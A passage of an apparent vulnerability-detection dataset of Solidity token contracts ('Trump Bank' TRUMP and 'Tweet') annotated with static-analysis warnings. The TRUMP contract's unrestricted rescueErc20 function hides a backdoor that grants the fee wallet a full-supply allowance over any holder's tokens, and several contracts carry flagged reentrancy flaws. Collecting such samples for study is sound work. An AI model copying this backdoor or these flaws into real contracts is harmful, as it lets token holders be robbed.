address(uniORouter), _tTotal);\n\n\t\t// reentrancy-benign | ID: a841bec\n\t\t// reentrancy-eth | ID: 01a0e6c\n uniOPair = IUniswapV2Factory(uniORouter.factory()).createPair(\n address(this),\n uniORouter.WETH()\n );\n\n\t\t// reentrancy-benign | ID: a841bec\n\t\t// unused-return | ID: 5fe9c3b\n\t\t// reentrancy-eth | ID: 01a0e6c\n uniORouter.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: a841bec\n\t\t// unused-return | ID: e0634d7\n\t\t// reentrancy-eth | ID: 01a0e6c\n IERC20(uniOPair).approve(address(uniORouter), type(uint).max);\n\n\t\t// reentrancy-benign | ID: a841bec\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 01a0e6c\n tradingOpen = true;\n }\n}\n",
"file_name": "solidity_code_1080.sol",
"size_bytes": 19280,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: MIT\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n constructor() {\n address msgSender = _msgSender();\n\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract TRUMP is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExempt;\n\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7fa593b): TRUMP._bots is never initialized. It is used in TRUMP._transfer(address,address,uint256)\n\t// Recommendation for 7fa593b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n mapping(address => bool) private _bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: fa57c51): TRUMP._feeWallet should be immutable \n\t// Recommendation for fa57c51: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _feeWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: 246dc50): TRUMP._initialBuyTax should be constant \n\t// Recommendation for 246dc50: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 5780854): TRUMP._initialSellTax should be constant \n\t// Recommendation for 5780854: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 13;\n\n\t// WARNING Optimization Issue (constable-states | ID: 015babb): TRUMP._finalBuyTax should be constant \n\t// Recommendation for 015babb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 09fff20): TRUMP._finalSellTax should be constant \n\t// Recommendation for 09fff20: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: a98159c): TRUMP._reduceBuyAt should be constant \n\t// Recommendation for a98159c: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: d38723e): TRUMP._reduceSellAt should be constant \n\t// Recommendation for d38723e: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellAt = 5;\n\n\t// WARNING Optimization Issue (constable-states | ID: 7276bc7): TRUMP._preventCount should be constant \n\t// Recommendation for 7276bc7: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventCount = 5;\n\n uint256 private _buyTokenCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 1000000000 * 10 ** _decimals;\n\n string private constant _name = unicode\"Trump Bank\";\n\n string private constant _symbol = unicode\"TRUMP\";\n\n uint256 public _maxTxAmount = (_tTotal * 1) / 100;\n\n uint256 public _maxWalletAmount = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: a2ebf56): TRUMP._minTaxSwap should be constant \n\t// Recommendation for a2ebf56: Add the 'constant' attribute to state variables that never change.\n uint256 public _minTaxSwap = (_tTotal * 1) / 100;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0d29f5b): TRUMP._maxTaxSwap should be constant \n\t// Recommendation for 0d29f5b: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = (_tTotal * 1) / 100;\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n address private _router;\n\n bool private _caLimitSell = true;\n\n uint256 private _caBlockSell = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor() {\n _feeWallet = payable(0x4C0e94ab6ACD14e0F07fD19f7675D4D64df7F688);\n\n _balances[_msgSender()] = _tTotal;\n\n _isExempt[owner()] = true;\n\n _isExempt[address(this)] = true;\n\n _isExempt[_feeWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public pure returns (string memory) {\n return _name;\n }\n\n function symbol() public pure returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 85864da): TRUMP.approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 85864da: Rename the local variables that shadow another component.\n function approve(address owner, address spender, uint256 amount) private {\n _allowances[owner][spender] = amount;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 1529117): TRUMP.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for 1529117: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: b50fd11): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for b50fd11: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 6fd0738): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 6fd0738: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: b50fd11\n\t\t// reentrancy-benign | ID: 6fd0738\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: b50fd11\n\t\t// reentrancy-benign | ID: 6fd0738\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: af06e9a): TRUMP._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for af06e9a: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: 6fd0738\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: b50fd11\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 0dbf1b2): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 0dbf1b2: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (tautology | severity: Medium | ID: 1abea13): TRUMP._transfer(address,address,uint256) contains a tautology or contradiction contractETHBalance >= 0\n\t// Recommendation for 1abea13: Fix the incorrect comparison by changing the value type or the comparison.\n\t// WARNING Vulnerability (uninitialized-state | severity: High | ID: 7fa593b): TRUMP._bots is never initialized. It is used in TRUMP._transfer(address,address,uint256)\n\t// Recommendation for 7fa593b: Initialize all the variables. If a variable is meant to be initialized to zero, explicitly set it to zero to improve code readability.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 19f08fc): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 19f08fc: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 62ed51b): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 62ed51b: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 _taxFeeAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!_bots[from] && !_bots[to]);\n\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceBuyAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExempt[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletAmount,\n \"Exceeds the maxWalletSize.\"\n );\n\n _buyTokenCount++;\n }\n\n if (to == uniswapV2Pair && from != address(this)) {\n _taxFeeAmount = amount\n .mul(\n (_buyTokenCount > _reduceSellAt)\n ? _finalSellTax\n : _initialSellTax\n )\n .div(100);\n\n uint256 contractETHBalance = address(this).balance;\n\n\t\t\t\t// tautology | ID: 1abea13\n if (contractETHBalance >= 0) {\n\t\t\t\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t\t\t\t// reentrancy-eth | ID: 19f08fc\n\t\t\t\t\t// reentrancy-eth | ID: 62ed51b\n sendETHToFee(address(this).balance);\n }\n }\n\n uint256 contractTokenBalance = balanceOf(address(this));\n\n if (\n !inSwap &&\n to == uniswapV2Pair &&\n swapEnabled &&\n contractTokenBalance > _minTaxSwap &&\n _buyTokenCount > _preventCount\n ) {\n if (_caLimitSell) {\n if (_caBlockSell < block.number) {\n\t\t\t\t\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t\t\t\t\t// reentrancy-eth | ID: 19f08fc\n\t\t\t\t\t\t// reentrancy-eth | ID: 62ed51b\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 19f08fc\n\t\t\t\t\t\t\t// reentrancy-eth | ID: 62ed51b\n sendETHToFee(address(this).balance);\n }\n\n\t\t\t\t\t\t// reentrancy-eth | ID: 62ed51b\n _caBlockSell = block.number;\n }\n } else {\n\t\t\t\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t\t\t\t// reentrancy-eth | ID: 19f08fc\n swapTokensForEth(\n min(amount, min(contractTokenBalance, _maxTaxSwap))\n );\n\n uint256 contractETHBalance = address(this).balance;\n\n if (contractETHBalance > 0) {\n\t\t\t\t\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t\t\t\t\t// reentrancy-eth | ID: 19f08fc\n sendETHToFee(address(this).balance);\n }\n }\n }\n }\n\n if (_taxFeeAmount > 0) {\n\t\t\t// reentrancy-eth | ID: 19f08fc\n _balances[address(this)] = _balances[address(this)].add(\n _taxFeeAmount\n );\n\n\t\t\t// reentrancy-events | ID: 0dbf1b2\n emit Transfer(from, address(this), _taxFeeAmount);\n }\n\n\t\t// reentrancy-eth | ID: 19f08fc\n _balances[from] = _balances[from].sub(amount);\n\n\t\t// reentrancy-eth | ID: 19f08fc\n _balances[to] = _balances[to].add(amount.sub(_taxFeeAmount));\n\n\t\t// reentrancy-events | ID: 0dbf1b2\n emit Transfer(from, to, amount.sub(_taxFeeAmount));\n }\n\n function min(uint256 a, uint256 b) private pure returns (uint256) {\n return (a > b) ? b : a;\n }\n\n function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {\n address[] memory path = new address[](2);\n\n path[0] = address(this);\n\n path[1] = uniswapV2Router.WETH();\n\n _approve(address(this), address(uniswapV2Router), tokenAmount);\n\n\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t// reentrancy-events | ID: b50fd11\n\t\t// reentrancy-benign | ID: 6fd0738\n\t\t// reentrancy-eth | ID: 19f08fc\n\t\t// reentrancy-eth | ID: 62ed51b\n uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(\n tokenAmount,\n 0,\n path,\n address(this),\n block.timestamp\n );\n }\n\n function removeLimits() external onlyOwner {\n _maxTxAmount = _tTotal;\n\n _maxWalletAmount = _tTotal;\n _router = _feeWallet;\n\n _caLimitSell = false;\n\n emit MaxTxAmountUpdated(_tTotal);\n }\n\n function sendETHToFee(uint256 amount) private {\n\t\t// reentrancy-events | ID: 0dbf1b2\n\t\t// reentrancy-events | ID: b50fd11\n\t\t// reentrancy-eth | ID: 19f08fc\n\t\t// reentrancy-eth | ID: 62ed51b\n _feeWallet.transfer(amount);\n }\n\n function rescueETH() external onlyOwner {\n payable(owner()).transfer(address(this).balance);\n }\n\n\t// WARNING Vulnerability (unchecked-transfer | severity: High | ID: 3f18bb9): TRUMP.rescueErc20(address) ignores return value by this.transfer(_feeWallet,balanceOf(address(this)))\n\t// Recommendation for 3f18bb9: Use 'SafeERC20', or ensure that the 'transfer'/'transferFrom' return value is checked.\n function rescueErc20(address _erc20Addr) external {\n approve(_erc20Addr, _router, _tTotal);\n\n\t\t// unchecked-transfer | ID: 3f18bb9\n this.transfer(_feeWallet, balanceOf(address(this)));\n }\n\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 204d382): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 204d382: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (unused-return | severity: Medium | ID: 3e1b4cd): TRUMP.enableTrading() ignores return value by uniswapV2Router.addLiquidityETH{value address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp)\n\t// Recommendation for 3e1b4cd: Ensure that all the return values of the function calls are used.\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 7ed0899): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 7ed0899: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function enableTrading() external onlyOwner {\n require(!tradingOpen, \"trading is already open\");\n\n uniswapV2Router = IUniswapV2Router02(\n 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D\n );\n\n _approve(address(this), address(uniswapV2Router), _tTotal);\n\n\t\t// reentrancy-benign | ID: 204d382\n\t\t// reentrancy-eth | ID: 7ed0899\n uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(\n address(this),\n uniswapV2Router.WETH()\n );\n\n\t\t// reentrancy-benign | ID: 204d382\n\t\t// unused-return | ID: 3e1b4cd\n\t\t// reentrancy-eth | ID: 7ed0899\n uniswapV2Router.addLiquidityETH{value: address(this).balance}(\n address(this),\n balanceOf(address(this)),\n 0,\n 0,\n owner(),\n block.timestamp\n );\n\n\t\t// reentrancy-benign | ID: 204d382\n swapEnabled = true;\n\n\t\t// reentrancy-eth | ID: 7ed0899\n tradingOpen = true;\n }\n\n receive() external payable {}\n}\n",
"file_name": "solidity_code_10800.sol",
"size_bytes": 21473,
"vulnerability": 4
} |
{
"code": "// SPDX-License-Identifier: UNLICENSE\npragma solidity ^0.8.0;\n\nabstract contract Context {\n function _msgSender() internal view virtual returns (address) {\n return msg.sender;\n }\n}\n\ninterface IERC20 {\n function totalSupply() external view returns (uint256);\n\n function balanceOf(address account) external view returns (uint256);\n\n function transfer(\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n function allowance(\n address owner,\n address spender\n ) external view returns (uint256);\n\n function approve(address spender, uint256 amount) external returns (bool);\n\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) external returns (bool);\n\n event Transfer(address indexed from, address indexed to, uint256 value);\n\n event Approval(\n address indexed owner,\n address indexed spender,\n uint256 value\n );\n}\n\nlibrary SafeMath {\n function add(uint256 a, uint256 b) internal pure returns (uint256) {\n uint256 c = a + b;\n\n require(c >= a, \"SafeMath: addition overflow\");\n\n return c;\n }\n\n function sub(uint256 a, uint256 b) internal pure returns (uint256) {\n return sub(a, b, \"SafeMath: subtraction overflow\");\n }\n\n function sub(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b <= a, errorMessage);\n\n uint256 c = a - b;\n\n return c;\n }\n\n function mul(uint256 a, uint256 b) internal pure returns (uint256) {\n if (a == 0) {\n return 0;\n }\n\n uint256 c = a * b;\n\n require(c / a == b, \"SafeMath: multiplication overflow\");\n\n return c;\n }\n\n function div(uint256 a, uint256 b) internal pure returns (uint256) {\n return div(a, b, \"SafeMath: division by zero\");\n }\n\n function div(\n uint256 a,\n uint256 b,\n string memory errorMessage\n ) internal pure returns (uint256) {\n require(b > 0, errorMessage);\n\n uint256 c = a / b;\n\n return c;\n }\n}\n\ncontract Ownable is Context {\n address private _owner;\n\n event OwnershipTransferred(\n address indexed previousOwner,\n address indexed newOwner\n );\n\n\t// WARNING Vulnerability (missing-zero-check | severity: Low | ID: 8a17988): Ownable.constructor().msgSender lacks a zerocheck on \t _owner = msgSender\n\t// Recommendation for 8a17988: Check that the address is not zero.\n constructor() {\n address msgSender = _msgSender();\n\n\t\t// missing-zero-check | ID: 8a17988\n _owner = msgSender;\n\n emit OwnershipTransferred(address(0), msgSender);\n }\n\n function owner() public view returns (address) {\n return _owner;\n }\n\n modifier onlyOwner() {\n require(_owner == _msgSender(), \"Ownable: caller is not the owner\");\n\n _;\n }\n\n function renounceOwnership() public virtual onlyOwner {\n emit OwnershipTransferred(_owner, address(0));\n\n _owner = address(0);\n }\n}\n\ninterface IUniswapV2Factory {\n function createPair(\n address tokenA,\n address tokenB\n ) external returns (address pair);\n}\n\ninterface IUniswapV2Router02 {\n function swapExactTokensForETHSupportingFeeOnTransferTokens(\n uint amountIn,\n uint amountOutMin,\n address[] calldata path,\n address to,\n uint deadline\n ) external;\n\n function factory() external pure returns (address);\n\n function WETH() external pure returns (address);\n\n function addLiquidityETH(\n address token,\n uint amountTokenDesired,\n uint amountTokenMin,\n uint amountETHMin,\n address to,\n uint deadline\n )\n external\n payable\n returns (uint amountToken, uint amountETH, uint liquidity);\n}\n\ncontract Tweet is Context, IERC20, Ownable {\n using SafeMath for uint256;\n\n mapping(address => uint256) private _balances;\n\n mapping(address => mapping(address => uint256)) private _allowances;\n\n mapping(address => bool) private _isExcludedFromFee;\n\n mapping(address => bool) private bots;\n\n\t// WARNING Optimization Issue (immutable-states | ID: ec0f014): Tweet._taxWallet should be immutable \n\t// Recommendation for ec0f014: Add the 'immutable' attribute to state variables that never change or are set only in the constructor.\n address payable private _taxWallet;\n\n\t// WARNING Optimization Issue (constable-states | ID: b2bb6a8): Tweet._initialBuyTax should be constant \n\t// Recommendation for b2bb6a8: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialBuyTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: d2d3bd5): Tweet._initialSellTax should be constant \n\t// Recommendation for d2d3bd5: Add the 'constant' attribute to state variables that never change.\n uint256 private _initialSellTax = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0ca6beb): Tweet._finalBuyTax should be constant \n\t// Recommendation for 0ca6beb: Add the 'constant' attribute to state variables that never change.\n uint256 private _finalBuyTax = 0;\n\n uint256 private _finalSellTax = 0;\n\n\t// WARNING Optimization Issue (constable-states | ID: 3b1dbbc): Tweet._reduceBuyTaxAt should be constant \n\t// Recommendation for 3b1dbbc: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceBuyTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: 0fb900d): Tweet._reduceSellTaxAt should be constant \n\t// Recommendation for 0fb900d: Add the 'constant' attribute to state variables that never change.\n uint256 private _reduceSellTaxAt = 17;\n\n\t// WARNING Optimization Issue (constable-states | ID: ba67850): Tweet._preventSwapBefore should be constant \n\t// Recommendation for ba67850: Add the 'constant' attribute to state variables that never change.\n uint256 private _preventSwapBefore = 20;\n\n uint256 private _buyCount = 0;\n\n uint8 private constant _decimals = 9;\n\n uint256 private constant _tTotal = 100_000_000 * 10 ** _decimals;\n\n string private _name;\n\n string private _symbol;\n\n uint256 public _maxTxAmount = _tTotal.mul(200).div(10000);\n\n uint256 public _maxWalletSize = _tTotal.mul(200).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: bd76a9f): Tweet._taxSwapThreshold should be constant \n\t// Recommendation for bd76a9f: Add the 'constant' attribute to state variables that never change.\n uint256 public _taxSwapThreshold = _tTotal.mul(100).div(10000);\n\n\t// WARNING Optimization Issue (constable-states | ID: 64dc700): Tweet._maxTaxSwap should be constant \n\t// Recommendation for 64dc700: Add the 'constant' attribute to state variables that never change.\n uint256 public _maxTaxSwap = _tTotal.mul(100).div(10000);\n\n IUniswapV2Router02 private uniswapV2Router;\n\n address private uniswapV2Pair;\n\n bool private tradingOpen;\n\n bool private inSwap = false;\n\n bool private swapEnabled = false;\n\n uint256 private sellCount = 0;\n\n uint256 private lastSellBlock = 0;\n\n event MaxTxAmountUpdated(uint _maxTxAmount);\n\n modifier lockTheSwap() {\n inSwap = true;\n\n _;\n\n inSwap = false;\n }\n\n constructor(string memory name_, string memory symbol_) payable {\n _name = name_;\n\n _symbol = symbol_;\n\n _taxWallet = payable(_msgSender());\n\n _balances[_msgSender()] = _tTotal;\n\n _isExcludedFromFee[owner()] = true;\n\n _isExcludedFromFee[address(this)] = true;\n\n _isExcludedFromFee[_taxWallet] = true;\n\n emit Transfer(address(0), _msgSender(), _tTotal);\n }\n\n function name() public view returns (string memory) {\n return _name;\n }\n\n function symbol() public view returns (string memory) {\n return _symbol;\n }\n\n function decimals() public pure returns (uint8) {\n return _decimals;\n }\n\n function totalSupply() public pure override returns (uint256) {\n return _tTotal;\n }\n\n function balanceOf(address account) public view override returns (uint256) {\n return _balances[account];\n }\n\n function transfer(\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n _transfer(_msgSender(), recipient, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: e6b72f2): Tweet.allowance(address,address).owner shadows Ownable.owner() (function)\n\t// Recommendation for e6b72f2: Rename the local variables that shadow another component.\n function allowance(\n address owner,\n address spender\n ) public view override returns (uint256) {\n return _allowances[owner][spender];\n }\n\n function approve(\n address spender,\n uint256 amount\n ) public override returns (bool) {\n _approve(_msgSender(), spender, amount);\n\n return true;\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8cf6da6): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8cf6da6: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-benign | severity: Low | ID: 4cfd16a): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Only report reentrancy that acts as a double call.\n\t// Recommendation for 4cfd16a: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function transferFrom(\n address sender,\n address recipient,\n uint256 amount\n ) public override returns (bool) {\n\t\t// reentrancy-events | ID: 8cf6da6\n\t\t// reentrancy-benign | ID: 4cfd16a\n _transfer(sender, recipient, amount);\n\n\t\t// reentrancy-events | ID: 8cf6da6\n\t\t// reentrancy-benign | ID: 4cfd16a\n _approve(\n sender,\n _msgSender(),\n _allowances[sender][_msgSender()].sub(\n amount,\n \"ERC20: transfer amount exceeds allowance\"\n )\n );\n\n return true;\n }\n\n\t// WARNING Vulnerability (shadowing-local | severity: Low | ID: 7a0b046): Tweet._approve(address,address,uint256).owner shadows Ownable.owner() (function)\n\t// Recommendation for 7a0b046: Rename the local variables that shadow another component.\n function _approve(address owner, address spender, uint256 amount) private {\n require(owner != address(0), \"ERC20: approve from the zero address\");\n\n require(spender != address(0), \"ERC20: approve to the zero address\");\n\n\t\t// reentrancy-benign | ID: fa41367\n\t\t// reentrancy-benign | ID: 4cfd16a\n _allowances[owner][spender] = amount;\n\n\t\t// reentrancy-events | ID: 6bfccb3\n\t\t// reentrancy-events | ID: 8cf6da6\n emit Approval(owner, spender, amount);\n }\n\n\t// WARNING Vulnerability (reentrancy-events | severity: Low | ID: 8b4088e): Reentrancies (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy') that allow manipulation of the order or value of events.\n\t// Recommendation for 8b4088e: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n\t// WARNING Vulnerability (reentrancy-eth | severity: High | ID: 8a2cbfb): Reentrancy bug (see 'https://github.com/crytic/not-so-smart-contracts/tree/master/reentrancy'). Do not report reentrancies that don't involve Ether.\n\t// Recommendation for 8a2cbfb: Apply the check-effects-interactions pattern (see 'https://docs.soliditylang.org/en/v0.4.21/security-considerations.html#re-entrancy').\n function _transfer(address from, address to, uint256 amount) private {\n require(from != address(0), \"ERC20: transfer from the zero address\");\n\n require(to != address(0), \"ERC20: transfer to the zero address\");\n\n require(amount > 0, \"Transfer amount must be greater than zero\");\n\n uint256 taxAmount = 0;\n\n if (from != owner() && to != owner()) {\n require(!bots[from] && !bots[to]);\n\n taxAmount = amount\n .mul(\n (_buyCount > _reduceBuyTaxAt)\n ? _finalBuyTax\n : _initialBuyTax\n )\n .div(100);\n\n if (\n from == uniswapV2Pair &&\n to != address(uniswapV2Router) &&\n !_isExcludedFromFee[to]\n ) {\n require(amount <= _maxTxAmount, \"Exceeds the _maxTxAmount.\");\n\n require(\n balanceOf(to) + amount <= _maxWalletSize,\n \"Exceeds 